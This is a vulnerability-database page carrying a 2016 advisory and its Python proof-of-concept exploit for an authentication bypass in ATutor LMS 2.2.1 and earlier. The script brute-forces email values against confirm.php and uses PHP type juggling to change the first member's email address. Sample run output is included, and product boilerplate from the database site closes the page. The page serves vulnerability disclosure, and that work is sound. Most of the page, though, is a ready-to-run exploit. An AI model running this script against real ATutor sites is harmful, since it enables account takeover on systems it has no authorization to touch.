Lucene search
K

SRC-2016-0012 : ATutor LMS confirm ‘UPDATE’ Type Juggling Authentication Bypass Vulnerability

🗓️ 24 Feb 2016 00:00:00Reported by Steven Seeley of Source InciteType 
srcincite
 srcincite
🔗 srcincite.io👁 35 Views

ATutor LMS ‘UPDATE’ Type Juggling Authentication Bypass Vulnerability in confirm.ph

Code
#!/usr/bin/python
"""
ATutor <= 2.2.1 confirm.php 'UPDATE' Type Juggling Authentication Bypass Vulnerability
by mr_me 2016
SRC-2016-0012

saturn:atutor mr_me$ ./poc.py 172.16.175.142
(+) we set the first members email to [email protected] !
(+) made a total of 11318 requests
saturn:atutor mr_me$
"""

import hashlib, string, itertools, re, requests, sys

if len(sys.argv) < 2:
    print "(!) Usage: %s" % sys.argv[0]
    sys.exit(-1)

t = sys.argv[1]
e = "srcincite.io"

count = 1
for w in itertools.imap(''.join, itertools.product(string.lowercase + string.digits, repeat=8)):
    print "(+) testing: %s@%s\r" % (w,e)
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")
    r = requests.get( "http://%s/ATutor/confirm.php?e=%s@%s&id=1&m=0" % (t, w, e), allow_redirects=False)
    count += 1
    if r.status_code == 302:
        print "(+) we set the first members email to %s@%s !" % (w,e)
        print "(+) made a total of %d requests" % count
        break

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation